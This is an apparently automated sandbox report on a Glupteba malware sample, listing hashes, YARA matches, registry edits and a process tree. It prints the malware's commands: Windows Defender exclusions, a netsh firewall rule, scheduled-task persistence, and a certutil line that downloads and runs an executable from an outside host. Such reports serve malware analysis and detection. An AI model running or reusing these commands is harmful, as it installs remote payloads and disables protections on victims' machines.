Analysis
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max time kernel
167s -
max time network
174s -
platform
windows7_x64 -
resource
win7-20220414-en -
submitted
24-05-2022 19:48
Static task
static1
Behavioral task
behavioral1
Sample
1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe
Resource
win10v2004-20220414-en
General
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Target
1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe
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Size
3.8MB
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MD5
e66b0b2bb9191a0b029350e70314ed76
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SHA1
10f1b8ceaaeb02d6c5d07db2c3feddcf07f1b452
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SHA256
1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b
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SHA512
33a49eafdf4959a97570984a1359c06c6a2f42500d1579c17f37593854c390592b36d0bf6ef68af3aee8fb4d20e14dcde7d865d1aa997b25787f72788fcfff0f
Malware Config
Signatures
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Glupteba Payload 5 IoCs
Processes:
resource yara_rule behavioral1/memory/880-56-0x0000000001590000-0x0000000001C85000-memory.dmp family_glupteba behavioral1/memory/880-57-0x0000000000400000-0x0000000001019000-memory.dmp family_glupteba behavioral1/memory/560-63-0x0000000000400000-0x0000000001019000-memory.dmp family_glupteba behavioral1/memory/1828-70-0x0000000001550000-0x0000000001C45000-memory.dmp family_glupteba behavioral1/memory/1828-71-0x0000000000400000-0x0000000001019000-memory.dmp family_glupteba -
Executes dropped EXE 3 IoCs
Processes:
csrss.exepatch.exepid process 1828 csrss.exe 1600 patch.exe 1224 -
Modifies Windows Firewall 1 TTPs
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Loads dropped DLL 9 IoCs
Processes:
1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exepatch.exepid process 560 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe 560 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe 884 1600 patch.exe 1600 patch.exe 1600 patch.exe 1600 patch.exe 1600 patch.exe 1224 -
Processes:
1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\d26671056783\d26671056783 = "0" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\ColdFog = "0" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe = "0" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\d26671056783.exe = "0" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Windows\CurrentVersion\Run\ColdFog = "\"C:\\Windows\\rss\\csrss.exe\"" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Drops file in Windows directory 3 IoCs
Processes:
1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exemakecab.exedescription ioc process File created C:\Windows\rss\csrss.exe 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe File created C:\Windows\Logs\CBS\CbsPersist_20220524222712.cab makecab.exe File opened for modification C:\Windows\rss 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Modifies data under HKEY_USERS 64 IoCs
Processes:
1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exenetsh.execsrss.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-552 = "North Asia Standard Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-202 = "US Mountain Standard Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-932 = "Coordinated Universal Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-391 = "Arab Daylight Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-981 = "Kamchatka Daylight Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-122 = "SA Pacific Standard Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-335 = "Jordan Standard Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-22 = "Cape Verde Standard Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-581 = "North Asia East Daylight Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies." netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-21 = "Cape Verde Daylight Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-911 = "Mauritius Daylight Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-422 = "Russian Standard Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1041 = "Ulaanbaatar Daylight Time" 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exepid process 880 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe 560 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.execsrss.exedescription pid process Token: SeDebugPrivilege 880 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Token: SeImpersonatePrivilege 880 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe Token: SeSystemEnvironmentPrivilege 1828 csrss.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.execmd.exedescription pid process target process PID 560 wrote to memory of 1984 560 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe cmd.exe PID 560 wrote to memory of 1984 560 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe cmd.exe PID 560 wrote to memory of 1984 560 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe cmd.exe PID 560 wrote to memory of 1984 560 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe cmd.exe PID 1984 wrote to memory of 568 1984 cmd.exe netsh.exe PID 1984 wrote to memory of 568 1984 cmd.exe netsh.exe PID 1984 wrote to memory of 568 1984 cmd.exe netsh.exe PID 560 wrote to memory of 1828 560 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe csrss.exe PID 560 wrote to memory of 1828 560 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe csrss.exe PID 560 wrote to memory of 1828 560 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe csrss.exe PID 560 wrote to memory of 1828 560 1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe csrss.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe"C:\Users\Admin\AppData\Local\Temp\1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe"C:\Users\Admin\AppData\Local\Temp\1352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b.exe"2⤵
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies data under HKEY_USERS
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://gfixprice.space/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
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C:\Windows\system32\makecab.exe"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20220524222712.log C:\Windows\Logs\CBS\CbsPersist_20220524222712.cab1⤵
- Drops file in Windows directory
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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C:\Windows\rss\csrss.exeFilesize
3.8MB
MD5e66b0b2bb9191a0b029350e70314ed76
SHA110f1b8ceaaeb02d6c5d07db2c3feddcf07f1b452
SHA2561352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b
SHA51233a49eafdf4959a97570984a1359c06c6a2f42500d1579c17f37593854c390592b36d0bf6ef68af3aee8fb4d20e14dcde7d865d1aa997b25787f72788fcfff0f
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\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
